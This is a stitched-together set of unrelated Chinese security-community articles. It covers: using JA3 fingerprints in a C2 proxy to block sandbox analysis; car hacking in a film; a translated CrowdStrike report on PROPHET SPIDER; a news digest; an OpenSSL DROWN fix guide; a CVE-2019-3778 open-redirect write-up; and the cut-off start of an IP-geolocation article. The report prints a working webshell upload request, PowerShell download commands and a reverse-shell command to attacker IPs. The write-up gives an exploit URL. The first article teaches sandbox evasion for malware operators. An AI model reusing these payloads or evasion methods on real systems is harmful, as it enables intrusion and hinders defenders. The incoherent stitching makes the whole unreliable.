**本文将深入浅出的讲解基于流量侧对沙箱请求流量进行识别的方法，这种方法也能更易部署且有效识别，从而针对性的反制沙箱分析流量。**
## TLS JA3指纹
**正式讲解流量侧识别云沙箱技术之前，我们先简述一下TLS JA3(S)指纹的基本概念。**
JA3为客户端与服务器之间的加密通信提供了识别度更高的指纹，通过 TLS 指纹来识别恶意客户端和服务器之间的 TLS
协商，从而实现关联恶意客户端的效果。该指纹使用MD5加密易于在任何平台上生成，目前广泛应用于威胁情报，例如在某些沙箱的样本分析报告可以看到以此佐证不同样本之间的关联性。
如果可以掌握 C2 服务器与恶意客户端的JA3(S)，即使加密流量且不知道 C2 服务器的 IP 地址或域名，我们仍然可以通过 TLS
指纹来识别恶意客户端和服务器之间的 TLS 协商。
**相信看到这里大家就能想到，这也正是对付域前置、反向代理、云函数等流量转发隐匿手段的一种措施，通过沙箱执行样本识别与C2之间通信的 TLS
协商并生成JA3(S)指纹，以此应用于威胁情报从而实现辅助溯源的技术手段。**
**JA3 通过对客户端发送的ClientHello 数据包中的以下字段收集字节的十进制值:**
* SSL 版本
* 接受的密码
* 扩展列表
* 椭圆曲线
* 椭圆曲线格式
然后它将这些值按顺序连接在一起，使用“，”分隔每个字段，使用“-”分隔每个字段中的每个值。
**示例：**
771,39578-4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,56026-29-23-24,0
MD5编码：9ef1ac1938995d826ebe3b9e13d9f83a
如上示例，最终得到并应用的JA3指纹即 9ef1ac1938995d826ebe3b9e13d9f83a
**问题拓展：**
之前文章提到的JARM与JA3(S)都是TLS指纹，那么他们的区别是什么呢？
* JARM指纹是主动扫描并生成指纹的，类似FUZZ的效果
* JA3(S)是基于客户端与服务端流量交互识别并生成的指纹
## 基于流量的云沙箱识别
上面简述了JA3(S)指纹的概念，这里应用到识别沙箱流量也是类似的原理，我们需要一个基础设施可以监控识别 上线主机和C2服务器之间的TLS
协商，从而生成请求主机的JA3指纹，这里我们以RedGuard举例。
通过上图不难看出，RedGuard充当着C2服务器与上线主机流量交互的代理主机，所有的流量都会经由它转发到C2服务器上，那么在这个过程中，我们基于流量侧生成并识别JA3指纹的想法就可以实现了，在不修改后端C2设施源码的基础上，赋予了生成识别JA3指纹的功能。
在云沙箱的立场上，通过监控样本与C2服务器之间流量交互生成JA3(S)指纹识别恶意客户端从而进行关联，而我们逆向思考，同样作为C2前置的流量控制设施，我们也可以进行这样的操作获取客户端请求的JA3指纹，通过对不同沙箱环境的调试获取这些JA3指纹形成指纹库从而形成基础拦截策略。
在测试某厂商沙箱环境时发现，其请求交互的出口IP虽然数量不大，但是通过IP识别沙箱并不准确，并且这是很容易改变的特征，但是其在多种不同配置的相同系统环境下JA3指纹是唯一的，效果如上图。
设想在分阶段木马交互的过程中，加载器会首先拉取远程地址的shellcode，那么在流量识别到请求符合JA3指纹库的云沙箱特征时，就会进行拦截后续请求。那么无法获取shellcode不能完成整个加载过程，沙箱自然不能对其完整的分析。如果环境是无阶段的木马，那么沙箱分析同样无法最终上线到C2服务器上，相比大家都有睡一觉起来C2上挂了一大堆超时已久的沙箱记录吧，当然理想状态下我们可以对不同沙箱环境进行识别，这主要也是依赖于指纹库的可靠性。
**识别网络空间测绘扫描**
在测试的过程中，我发现在指纹库添加GO语言请求库的JA3指纹后监测RedGuard请求流量情况，可以看到，大部分的请求触发了JA3指纹库特征的基础拦截，这里我猜测其测绘产品在该扫描中底层语言是以GO语言实现的大部分扫描任务，通过一条链路，不同底层语言组成的扫描逻辑最终完成了整个扫描任务，这也就解释了部分测绘产品的扫描为什么触发了GO语言请求库的JA3指纹拦截特征。
当然，触发拦截规则的请求都会被重定向到指定URL站点。
## 后记
JA3(S)指纹当然是可以更改的，但是会很大程度提高成本，同样修改基础特征无法对其造成影响，如果准备用劫持的方式去伪造
JA3指纹，并不一定是可行的，OpenSSL 会校验 extension，如果和自己发出的不一致，则会报错：`OpenSSL:
error:141B30D9:SSL routines:tls_collect_extensions:unsolicited extension`。
**伪造JA3指纹可以看以下两个项目：**
* <https://github.com/CUCyber/ja3transport>
* <https://github.com/lwthiker/curl-impersonate>
通常自主定制化的恶意软件会自己去实现 TLS，这种情况下JA3指纹可以唯一的指向它。但是现在研发一般都会用第三方的库，不管是诸如 Python
的官方模块还是 win 下的组件，如果是这种情况，那么
JA3就会重复，误报率很高。当然应用到我们的流量控制设施其实不需要考虑这些固定组件的问题，因为并不会有正常的封装组件的请求，多数也是上面提到某些语言编写的扫描流量，反而以此对这些语言请求的JA3指纹封装进指纹库也能起到防止扫描的效果。
**最后，祝大家心想事成，美梦成真！**
## 参考链接：
<https://github.com/wikiZ/RedGuard>
<https://www.tr0y.wang/2020/06/28/ja3/>
<https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967/>
* * * | 社区文章 |
# 【技术分享】你的车，会加入速8的僵尸车队吗？
|
##### 译文声明
本文是翻译文章，文章来源：补天漏洞平台
译文仅供参考，具体内容表达以及含义原文为准。
****
****补天漏洞响应平台：** **<http://butian.360.cn/> ****
**
**
**前言**
每一部速度与激情都萦绕着高科技的酷炫，第8部，在核电站搞起了核潜艇；第9部，会不会在海上飙航母;第10部，有可能在太空飙火箭；第11部，或许在虫洞里拼转移。
速8在远程操控，僵尸车队方面下足了功夫。生化危机般的僵尸车队浩浩汤汤喷涌而出，让人肾上腺素全程飙升，酣畅淋漓。
我不禁困惑：影片中的汽车为何会任由恶势力操控呢？人机对抗，结果又会怎样呢？汽车越高级，危险系数反而越大吗？按一下就让汽车一飞冲天的气体是什么？小小车辆凭什么让整个核电站集体断电呢？僵尸车武器会发生在我们身边吗？
看了速8三遍，请教了两位专家后，终于，明白了一二三～感谢360独角兽的李均、360天行者的严敏睿对本文的大力支持。
影片中僵尸车队的具体情节：
**一、电影原文具体分析：**
**0x00 我要利用和操纵车队方圆两英里内每辆车的芯片漏洞**
原理：电影中进行远程控制汽车驾驶的时候，都显示启动自动驾驶功能，说明这部分是使用汽车自带的驾驶功能进行远程控制，因为这类汽车都是带有车联网功能的汽车，可以通过入侵汽车的云端的管理平台，作为跳板攻击平台下所有可管理的汽车，发送恶意指令到汽车的控制器网络，从而控制汽车。
**0x01 安全限制已经解除；防撞功能已禁用；安全传感器已被控制**
****
****
****
原理：自动驾驶的方案中会包括防碰撞的功能，通过对不同安全传感器的数据进行分析改变汽车的驾驶状态达到防碰撞的功能；在电影中，让相关的安全传感器失灵、禁用防碰撞功能，才可以让车无视道路情况进行驾驶，并且撞开障碍物和围堵住目标汽车。
**0x02 司机在的情况下，自动驾驶被激活，这是否意味着人机对抗失败？**
****
****
影片中出现了大量司机在车里，面对汽车被强制远程控制却无可奈何的尴尬局面。机械反应和人类反应的较量，机器力量和人类力量的比拼？毫无疑问、是机器略胜一筹。
常言道，万物皆可破。面对这种情况，掌握技术的我们更应该利用自身优势，帮助厂商尽早发现漏洞，及时修复漏洞，将漏洞被恶意利用的可能性扼杀在摇篮里。
**二、附加问题大放送：**
**0x00 神秘燃料为何能让汽车一飞冲天？** **** **
**
****
影片中当两车并行时，只需按压一下，神秘气体就会喷射而出，助力汽车一飞冲天。
加入引擎的其实是二氧化氮气体，这种东西喷到燃烧室中会使汽油的燃烧更加充分，等于在混合气体中增加了氧气,氧气含量增加后,传感器会根据尾气中的排放成份加大喷油量，这样单个循环过程中燃烧的燃料增多功率随之增大,效果非常明显。不过,由于大量燃料的燃烧使得产生的热量不能及时散发出去，所以在电影中多米尼克使用二氧化氮进行加速之后，引擎变的通红无比，说明温度过高。
所以用二氧化氮增速时间不能太长,否则容易导致发动机报废，比如电影开头，多米尼克的改装车就因为过热着火，直至坠入海底。
**0x01 汽车越高级，危险系数反而最大？**
影片中，带有自动驾驶功能的汽车都被远程操控了。我们不禁疑惑，难道汽车越高级越贵，被控制的风险反而越高吗？
这其实取决于厂商设计汽车的时候在安全方面用了多少的心思。高级的汽车通常意味着加入网络连接及其他更智能的功能，这代表对外的接口越多，这也就意味着会被黑客入侵的攻击面也就越多了；但是在实际生活中，除了带有自动驾驶功能的高级汽车容易被入侵外，其他带有车联网或者无联网汽车也可以被远程控制，因为在汽车内部，比如自动转向、刹车等功能，其中大部分都是基于电子控制又称为线控（X-By-Wire）现实的。
这些电子控制的接口如果权限控制或者隔离没有做好的话，就可能被黑客控制从而发生危险。通过对车联网平台的入侵或者是物理接触汽车增加设备，通过设备发送恶意控制指令操纵相应的电子控制器，这样就可以达到远程控制汽车的目的；所以汽车是否安全，取决于厂商对安全的重视程度和安全意识。
**0x02 脉冲导致核电站集体断电？**
影片中，多米尼克叛变时，怼翻了大块头警察霍布斯并夺走了EMP武器（Electromagentic
pulse电磁脉冲），导致最后核电厂断电。小小的箱子为何能爆发出如此大的能量呢？
EMP武器的原理是在短时间内产生极强的电磁场，这个电磁场会在电子设备的电路中感应出破坏性的大电流从而烧毁电路。核电厂难免会采用各种电子设备来进行控制，这些电子设备一旦被烧坏，就可能造成断电。
**0x03 远程控制汽车的原理：**
说了这么多，我们归根溯源聊一聊理论知识吧。
现代很多汽车加入了网络连接功能用于上网、影音娱乐或者远程控制或监控车辆状态。这种汽车将自己的状态（比如位置、电量、油量）发送给厂商的服务器，用户就可以访问厂商服务器来查看汽车的状态，或者通过服务器来将控制命令（比如开关车门的命令）转发给汽车。
汽车上各个部件（如发动机，刹车，转向器）分别有专门的电子控制器控制，这些控制器通过控制器网络相互通信来完成协作工作。
汽车的各种状态数据和控制命令往往都会在控制器网络上传输，如果控制器网被黑客远程入侵，那么他就可能远程发送指令给网络上的各种控制器从而实现对汽车的控制。
**三、小小槽点**
比起其他拯救宇宙的好莱坞大片，速度与激情系列，最打动人心的莫过于，Family。兄弟情、亲情、爱情～每一幕都让我们在枪林弹雨中感受到情义的温暖。
然而，速8却piapia打脸了。没有任何解释，肖就从阴冷血腥的杀人狂魔变成了爱笑俏皮的逗逼萌叔？虽然有冷艳反派塞弗让你们暂时组队，但生死仇人这么快就因短暂合作变成好基友了？别忘了，曾经的伐木累韩和Gisele都是肖害死的。
说好的不能动家人呢？除了这点差评，影片整体很赞。为汽车厂商敲响了警钟，追求智能驾驶的基石是保障安全。为广大司机送出了提醒，为了头发请勿超速！
**四、为了世界和平**
女魔头塞弗都会利用漏洞控制汽车了，我们更不能坐以待毙！加入补天，一起捍卫网络安全，维护世界和平方为正道！
**补天漏洞响应平台：** **<http://butian.360.cn/> ** | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接:<https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/>**
2022年初，CrowdStrike Intelligence 和 CrowdStrike Services 调查了一起事件，在这起事件中，PROPHET
SPIDER（先知蜘蛛） 利用了影响 Citrix ShareFile Storage Zones Controller 的远程代码执行(RCE)漏洞
CVE-2021-22941，侵入了微软互联网信息服务(IIS) web 服务器。黑客利用该漏洞部署了一个支持下载其他工具的
webshell。这一事件明显表明，先知蜘蛛在继续利用已知的 web 服务器漏洞的同时，也继续发展他们的谍报技术。
## 背景
### **先知蜘蛛**
[先知蜘蛛](https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/)是一个 eCrime
攻击者，至少从2017年5月开始活动，主要通过破坏易受攻击的网络服务器获取受害者的访问权，这通常涉及利用各种公开披露的漏洞。黑客很可能充当了访问代理的角色ーー在多个实例中授予第三方访问权限以部署勒索软件。
### **CVE-2021-22941**
2021年9月，Citrix 公布了一个名为
cve-2021-22941的共享文件区域存储控制器中的相对路径遍历[漏洞](https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html)。此后不久，安全研究人员[展示](https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html)了一个该 CVE 的 POC
漏洞。根据已知的技术细节，其他人能够再现自2021年10月中旬以来扩散的
cve-2021-22941的[充分武器化的漏洞](https://github.com/hoavt184/CVE-2021-22941)。该漏洞允许黑客通过在
HTTP `GET` 请求中传递 `uplodid` 参数覆盖目标服务器上的现有文件。
## 初始访问和漏洞利用
2022年1月10日，先知蜘蛛使用用户代理 `python-requests/2.26.0`向 CrowdStrike Falcon 平台客户的 IIS
服务器发送了一个 HTTP `POST` 请求。发送给 `/upload.aspx`的请求包含以下命令:
POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+idx0%3D+0%3Bstring+str_idx0+%3D+idx0.ToString%28%29%3B+int+idx1+%3D+1%3Bstring+str_idx1+%3D+idx1.ToString%28%29%3Bstring+cmd+%3D+Request.QueryString%5Bstr_idx0%5D%3Bstring+arg+%3D+Request.QueryString%5Bstr_idx1%5D%3BProcess.Start%28cmd%2Carg%29%3B%7D%2F..%2F..%2FConfigService%5CViews%5CShared%5CError.cshtml&bp=123&accountid=123
这个请求有三个关键组件。
URI 端点 `/upload.aspx` 用于 ShareFile 上传，通常带有定义上传对象规范的参数，如 uploodid、 cid 或
batchid。在这个例子中，uploathid 参数包含一个 webshell:
uploadid=@using+System.Diagnostics;@{int+idx0=+0;string+str_idx0+=+idx0.ToString();+int+idx1+=+1;string+str_idx1+=+idx1.ToString();string+cmd+=+Request.QueryString[str_idx0];string+arg+=+Request.QueryString[str_idx1];Process.Start(cmd,arg);}
这个就是漏洞将写入 ASP.NET 文件的内容。 它使用 Razor 语法，其中`@<keyword>`允许使用关键字作为变量名, `@{`用于打开 c #
代码块。C # `Process.Start(cmd,arg);`方法提供后门函数，用于执行任意命令。
/../../ConfigService\Views\Shared\Error.cshtml
这是允许有效负载覆盖合法 `Error.cshtml`页面的相对路径遍历。
bp=123&accountid=123
这些参数是upload函数所需求的，包含这些参数以防止出现错误。此外，这些值与前面提到的[公开可用的
cve-2021-22941](https://github.com/hoavt184/CVE-2021-22941/blob/master/exploit.py)漏洞中使用的默认字符相匹配。
寻找 CVE-2021-22941漏洞利用的证据的分析人员可以检查IIS 访问日志，它的网络请求如下:
* 目标 `upload.aspx`
* 在 URL 参数中包含用于`../`和 `ConfigService\Views\Shared\Error.cshtml`的编码字符串
* 如果攻击者没有自定义有效负载，则可能包含 `&bp=123&accountid=123`
一旦设置了 webshell，就可以通过向`/configservice/Home/Error`发送带有一个或两个 URL 参数的 HTTP 请求来访问它。
ASP.NET 会将这些请求指向 `Error.cshtml`，它通常包含一个简单的 HTML
标题，上面写着“对不起，在处理请求时发生了错误”。由于该漏洞，内容已经被 C# 代码块替换，并将调使用在`GET`请求中传递的 URL
参数启动`Process.Start(cmd.arg)`。
## 利用后指令
在实现初始访问之后，先知蜘蛛使用以下命令测试连接性:
CMD.exe /C nslookup xab8v404gwftvw5nvw95ig6ybphf54.burpcollaborator[.]net</code
如果成功，此命令将在`burpcollaborator[.]net`的子域上执行名称查找，这是开源漏洞测试工具 BurpSuite
可以检查到并确认响应系统的。
黑客接下来试图执行编码的 PowerShell 命令，解码为:
powershell -Command (New-Object System.Net.WebClient).DownloadFile('http[:]//45.61.136[.]39:443/wget[.]bin','C:\Windows\temp\wget.bin')
cmd /c c:\Windows\temp\wget.bin -t 1 http[:]//45.61.136[.]39:443/winn.exe -O c:\windows\temp\wi.exe
这些命令试图从远程 IP 地址下载合法的 `wget`实用程序，然后试图使用
`wget`下载另一个远程二进制文件，名为`winn.exe`。下载`winn.exe`失败。然后，对手试图从 GitHub 安装一个开源的反向
shell:
powershell -Command IEX(IWR https[:]//raw.githubusercontent[.]com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 107.181.187[.]184 -RemotePort 4242 -Rows 44 -Cols 166
这个有效负载试图直接从 GitHub 加载`ConPtyShell`反向 shell，参数通过 TCP 端口 `4242`连接回 IP 地址
`107.181.187[.]184`。
## 总结
正如 CrowdStrike Intelligence
先前报道的那样，先知蜘蛛是一个机会主义的网络犯罪者，利用公开披露的服务器漏洞，发布webshell。最近的cve-2021-22941利用表明黑客愿意实施新奇的开发代码，以及他们倾向于部署`wget`作为操作的第一步。
### **IOCs**
**Description** | **IP Addresses**
---|---
Site hosting `wget.bin` and `winn.exe` | `45.61.136[.]39`
Callback destination for `ConPtyShell` reverse shell | `107.181.187[.]184`
Source observed exploiting CVE-2021-22941 | `188.119.149[.]160`
Site hosting `ConPtyShell` reverse shell |
`hxxps[:]//raw.githubusercontent[.]com /antonioCoco/ConPtyShell/master
/Invoke-ConPtyShell.ps1`
### **MITRE ATT &CK? Observed Tactics**
**Tactic** | **Description**
---|---
Initial Access | T1190: [Exploit Public Facing
Application](https://attack.mitre.org/techniques/T1190)
Execution | T1059.001: [Command and Scripting Interpreter:
PowerShell](https://attack.mitre.org/techniques/T1059/001/)
Persistence | T1505.003: [Server Software Component: Web
Shell](https://attack.mitre.org/techniques/T1505/003)
Command and Control | T1071: [Application Layer
Protocol](https://attack.mitre.org/techniques/T1071/)
| T1105: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)
* * * | 社区文章 |
# 6月1日安全热点 - 《网络安全法》正式实施一周年观察报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
安全人员发现Windows的JScript组件存在0day漏洞，可造成RCE
<http://t.cn/R1S8z89>
Rails 5.1.4 YAML unsafe deserialization RCE payload
<http://t.cn/RjeGNi0>
## 安全工具 Security Tools
Prowler：分布式网络漏洞扫描器
<http://t.cn/R19ld9m>
Mutt：命令行接发电子邮件的工具
<http://t.cn/R19ldNX>
Sharesniffer：用于爬取网络上的共享文件
<http://t.cn/R19ld0S>
## 安全报告 Security Report
卡巴斯基对于暗网的分析报告
<http://t.cn/R19ldKJ>
## 安全资讯 Security Information
《网络安全法》正式实施一周年观察报告
<http://t.cn/R19ldjH>
Google 发布Chrome 67，增加了对凭证管理 API WebAuthn 的支持
<http://t.cn/R19ldTw>
Git 爆任意代码执行漏洞，所有使用者都受影响
<http://t.cn/R19WoZq>
“双杀”漏洞攻击代码被加入了RIG漏洞利用包中
<http://t.cn/R1aOKbN>
新兴5G技术可以兼容SIM卡，相关联的物联网设备可能存在风险
<http://t.cn/R197Hbx>
SS7路由协议被用于跟踪客户位置和通信
<http://t.cn/R1og6zY>
## 安全研究 Security Research
iOS jailbreak internals (1): Remount rootfs after iOS 11.3
<http://t.cn/R1KUpC8>
利用 CSS3 特性对浏览器进行侧信道攻击
<http://t.cn/R1aV3kS>
通过fuzz来挖掘Zalgoscript存在的漏洞
<http://t.cn/R19ldmg>
如何渗透测试以太坊dApps
<http://t.cn/R1SaEz3>
对WINDOWS 10的实际DMA攻击
<http://t.cn/R1aOKbN>
在Linux中使用环境变量进行提权
<http://t.cn/R19ld3x>
通过HTTP参数污染绕过谷歌的验证码
<http://t.cn/R19ld18>
java反序列化漏洞解析
<http://t.cn/R1Swp0S>
在内网中获得域管理账户的五种方法
<http://t.cn/REkw9C1>
Windows 系统调用表，从Windows NT开始搜集
<http://t.cn/R19ldre>
## 恶意软件 Malware
XorDDoS家族最新变种来袭
<http://t.cn/R1KScl6>
Glupteba恶意代理木马利用“永恒之蓝”漏洞传播，感染量激增
<http://t.cn/R19CYob>
“双杀”国内首现在野攻击：黑产老炮掀起挂马盗号风暴
<http://t.cn/R19ldgQ> | 社区文章 |
# OpenSSL CVE-2016-0800和CVE-2016-0703漏洞修复细节拾趣
|
##### 译文声明
本文是翻译文章，文章来源：360信息安全部
原文地址：<http://blogs.360.cn/blog/openssl-cve-2016-0800%E5%92%8Ccve-2016-0703%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E7%BB%86%E8%8A%82%E6%8B%BE%E8%B6%A3/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**by 360信息安全部－ au2o3t@360 CloudSec Team**
**1\. 引子**
本来最近和360 Nirvan
Team的DQ430愉快的参加某加密厂商的年度大会，结果openssl也出来碰热闹，也许真是为了DH兄弟送大礼，苦了我们这些安全运维的。
hf!
**2\. 细节**
360在内部信息安全实践历程中，“360信息安全部”逐步秉承最佳安全实践，在https等ssl领域逐渐做出了明显的变化。
比如重要系统中禁止不安全的加密套件使用，来减少ssl的攻击面。
我们在今天的内部运维修复中发现了个有趣的现象或者说尝试，我们想去确定禁止不安全的加密套件会对今天的两个高危漏洞有什么影响。
CVE-2016-0800
CVE-2016-0703
0800漏洞官方已经描述了如果是cipher none的话，能保证是不受影响的，或者说这是一个缓解措施。
但是0703就不一样了，我们花了几个小时尝试去证明如果cipher none的话确实也是不受影响的。
0703过程大略如下：
client:
send hello msg ( 包括 ciphers，和一个随机数 cr ）
server:
send hello msg （ 包括 ciphers，和一个随机数 sr ）
client:
send masterkey msg （ 指定一个 cipher，且包含 masterkey 的一部分明文 mkc 和一部分密文 mks，mkc长度可为0
）
server:
send verify msg
client:
send finish msg
server:
send finish msg
这个过程由于client可以指定不安全的算法（RC4-MD5 SSLv2 Kx=RSA(512) Au=RSA Enc=RC4(40) Mac=MD5
export）
导致密文部分只有40bit
client 根据 cr, mk = mkc||mks, 和收到的 verify msg，可计算出 server key
server_key = MD5(mk||”0″||cr||sr)
所以我们认为攻击的条件依然需要类似RC4_128_WITH_MD5 的套件。
a、关键是 client 指定了 export cipher，导致 mks 只有5个字节
b、不止 RC4_128_WITH_MD5 一个 export，默认情况，openssl 编译出来共有两个 export cipher：
EXP-RC2-CBC-MD5 SSLv2 Kx=RSA(512) Au=RSA Enc=RC2(40) Mac=MD5 export
EXP-RC4-MD5 SSLv2 Kx=RSA(512) Au=RSA Enc=RC4(40) Mac=MD5 export
c、计算出的 server_key 是 session key，双方可以互相计算
server_key = MD5(mk||”0″||cr||sr)
client_key = MD5(mk||”1″||cr||sr)
（“||”见 RSA PKCS1#v1.5）
d、server 回应的 verify msg 中大有玄机，是最终利用的关键，与sslv2标准有关，且听下回分解吧。
**3\. 结尾**
虽然能表明“360信息安全部”的安全实践能有效抵挡 CVE-2016-0703 的攻击，但在此依然希望大家按照官方的建议去升级对应的补丁。
gl!
**以下是我们的基本修复建议:**
———————————————————————————————————————
漏洞编号： CVE-2016-0703
漏洞说明:
使用OpenSSL并支持SSLv2协议的服务器可接受指向长度非零非导出密钥组件的SSLv2连接握手，攻击者可利用这个缺陷解密已经建立的加密会话。
漏洞等级: 高
漏洞编号： CVE-2016-0800
漏洞说明:
SSLv2协议中存在一个填充内容缺陷，攻击者可以利用这个缺陷解密使用新版SSL/TLS协议会话中由RSA算法加密的内容。通过这种利用方式，可造成DROWN攻击(Decrypting
RSA using Obsolete and Weakened eNcryption)
漏洞等级: 高
漏洞详情: https://www.openssl.org/news/secadv/20160301.txt
受影响的服务版本：
Apache: 非2.4.x版本
Nginx: 0.7.64、0.8.18及更早版本
Postfix: 早于2.9.14、2.10.8、2.11.6、3.0.2的版本 (在2015.07.20之前发布)
Openssl: 1.0.2a、1.0.1m、1.0.0r、0.9.8zf及更早版本
检测方式：
OpenSSL版本检测：
openssl version
若版本低于修复版本请更新openssl
针对web server:
openssl s_client -connect 待测域名或IP:443 -ssl2
针对SMTP server:
openssl s_client -connect 待测域名或IP:25 -starttls smtp -ssl2
如果出现如下错误信息，则SSLv2已禁用:
419:error:1407F0E5:SSL routines:SSL2_WRITE:ssl handshake failure:s2_pkt.c:428:
修复步骤:
(1). 升级OpenSSL软件包
CentOS、Redhat 可以通过以下命令来升级
#yum clean
#yum update openssl
对应的RPM包：
CentOS 5: openssl-0.9.8e-39.el5_11、 openssl-devel-0.9.8e-39.el5_11、 openssl-perl-0.9.8e-39.el5_11
CentOS 6: openssl-1.0.1e-42.el6_7.4、 openssl-devel-1.0.1e-42.el6_7.4、 openssl-perl-1.0.1e-42.el6_7.4、 openssl-static-1.0.1e-42.el6_7.4
CentOS 7: openssl-1.0.1e-51.el7_2.4、 openssl-devel-1.0.1e-51.el7_2.4、 openssl-libs-1.0.1e-51.el7_2.4、 openssl-perl-1.0.1e-51.el7_2.4、 openssl-static-1.0.1e-51.el7_2.4
(2). ubuntu 版本可以通过以下命令来升级
#apt-get upgrade openssl
2\. 禁用 Apache、Nginx、Postfix 中的SSLv2
在Apache 的 SSL 配置文件中禁用SSLv2
SSLProtocol all -SSLv2
重启apache服务
在 Nginx 的 SSL 配置文件中设置只允许使用 TLS 协议：
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
重启nginx服务
在Postfix配置中禁用SSLv2
# Minimal recommended settings. Whenever the built-in defaults are
# sufficient, let the built-in defaults stand by deleting any explicit
# overrides. The default mandatory TLS protocols have never included
# SSLv2, check to make sure you have not inadvertently enabled it.
smtpd_tls_protocols = !SSLv2, !SSLv3
smtpd_tls_mandatory_protocols = !SSLv2, !SSLv3
tlsproxy_tls_protocols = $smtpd_tls_protocols
tlsproxy_tls_mandatory_protocols = $smtpd_tls_mandatory_protocols
smtp_tls_protocols = !SSLv2, !SSLv3
smtp_tls_mandatory_protocols = !SSLv2, !SSLv3
lmtp_tls_protocols = !SSLv2, !SSLv3
lmtp_tls_mandatory_protocols = !SSLv2, !SSLv3
smtpd_tls_ciphers = medium
smtp_tls_ciphers = medium
# Other best practices
# Strongly recommended:
# http://www.postfix.org/FORWARD_SECRECY_README.html#server_fs
smtpd_tls_dh1024_param_file=${config_directory}/dh2048.pem
smtpd_tls_eecdh_grade = strong
# Suggested, not strictly needed:
smtpd_tls_exclude_ciphers =
EXPORT, LOW, MD5, SEED, IDEA, RC2
smtp_tls_exclude_ciphers =
EXPORT, LOW, MD5, aDSS, kECDHe, kECDHr, kDHd, kDHr, SEED, IDEA, RC2
**相关文章链接：**
###
**[CVE-2016-0800：OpenSSL安全公告(2016.3.2)](http://bobao.360.cn/learning/detail/2771.html)**[
****](http://bobao.360.cn/learning/detail/2771.html) **：**
**[http://bobao.360.cn/learning/detail/2771.html](http://bobao.360.cn/learning/detail/2771.html)**
### **［预警］openssl再爆漏洞了，官方建议禁用SSLv2
：http://bobao.360.cn/news/detail/2787.html** | 社区文章 |
# 0x00 前言
在学习复现OAuth2相关漏洞时，发现对于CVE-2019-3778，网上并没有公开真正可以利用的EXP，且少有的[分析](https://www.freebuf.com/vuls/216582.html)并不正确。于是我对源码进行了分析，编写了EXP。因此有了这篇文章。文章中出现的代码以及环境在[https://github.com/ananaskr/OAuth2\\_Vulnerabilities\\_Reproduction/tree/master/CVE-2019-3778](https://github.com/ananaskr/OAuth2_Vulnerabilities_Reproduction/tree/master/CVE-2019-3778)上可以找到
# 0x01 漏洞描述
### CVE描述
攻击者使用授权码模式可以构造一个请求发送至授权端点。在构造的请求中，攻击者篡改了redirect_uri参数的值，导致授权服务端将用户回调至攻击者可控的URI，泄漏了授权码(因为授权码是附在redirect_uri后面)。
### 影响版本
2.3 - 2.3.4
2.2 - 2.2.3
2.1 - 2.1.3
2.0 - 2.0.16
# 0x02 环境搭建
#### 环境要求
漏洞描述中要求应用必须满足以下2点:
* 必须是授权服务器的角色,即需要`@EnableAuthorizationServer`注解
* 使用的`DefaultRedirectResolver`类来解析redirect_uri。
#### 注册client
需要在服务端注册客户端的信息，包括client_id,redirect_uri等。复现时直接向数据库表`oauth_client_details`中插入了如下数据
client_id : ananskr
client_secret: 123456
redirect_uri: http://www.baidu.com
scope: all
authorized_grant_type: authorization_code
#### 添加用户信息
com.ananaskr.oauth.config中的WebConfig，添加了3个用户的信息
# 0x03 源码分析
由于Open
Redirection与redirect_uri相关，首先定位到获取redirect_uri的函数`obtainMatchingRedirect()`中(位于org.springframework.security.oauth2.provider.endpoint.DefaultRedirectResolver)。代码如下:
可以得知，在通过了`redirectMatches()`函数的验证后，就会直接返回输入的redirect_uri值。进一步跟进redirectMatches()函数，代码如下:
这段代码中，对scheme、host、path以及port四部分进行了检查，与注册的redirect_uri一致才可通过验证。此时想到了利用`userinfo`来进行绕过，因此需要满足的条件是userinfo中包含了evil
url且在浏览器中，要跳转到evil
url。因此立刻想到了诸如`http://evil.com\@www.baidu.com`，很遗憾的是，`\`在此程序中会被当作是不合法字符，在高版本的tomcat中会报错。在换成低版本的tomcat后，`\`会被解析为`%5C`，导致浏览器中的值为`http://evil.com%[email protected]`，还是跳转到了baidu。
在网上进行利用姿势的寻找时，发现Blackhat 2019有一篇文章"Make Redirection Evil Again URL Parser
Issues in OAuth"中提到了一种利用方式，通过添加`%ff`，在服务端解析错误后，会将其变成`?`，从而达到目的。
# 0x04 漏洞证明
关于OAuth2.0相关知识，可以从很多地方得知，这里就不赘述了。
在浏览器打开如下链接，会跳转至/login，然后输入上述添加的用户信息，点击authorize。
http://localhost:9090/oauth/authorize?response_type=code&client_id=ananaskr&redirect_uri=http://www.google.com%[email protected]&scope=all&client_secret=123456
可以看到授权后跳转到了`www.google.com`，而不是注册的`www.baidu.com`
# 0x05 补丁分析
通过对比2.3.5版本，发现2.3.5版本中org.springframework.security.oauth2.provider.endpoint的DefaultRedirectResolver类中，首先对redirect_uri合理性检验增加了对userinfo的检查，且对请求参数也进行了检查。
然后在obtainMatchingRedirect函数中，不再返回用户输入的值，而是在注册的redirect_uri的基础上进行更改，然后返回。
# 参考
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3778>
* [Make Redirection Evil Again URL Parser Issues in OAuth](https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf) | 社区文章 |
近期，大量社交平台上线展示IP属地的功能，根据最近发博、发评、投票等通讯时的IP地址判定所属地区，国内显示到省份/地区，国外显示到国家，且用户无法关闭该功能。
据悉，这是为了减少冒充热点事件当事人、恶意造谣、蹭流量等不良行为，确保传播内容的真实、透明。但IP属地可以被轻易伪造，无法分辨IP属地真伪，可能会使这一功能本末倒置，让不良信息的可信度增加。
#### IP地址
**什么是IP地址**
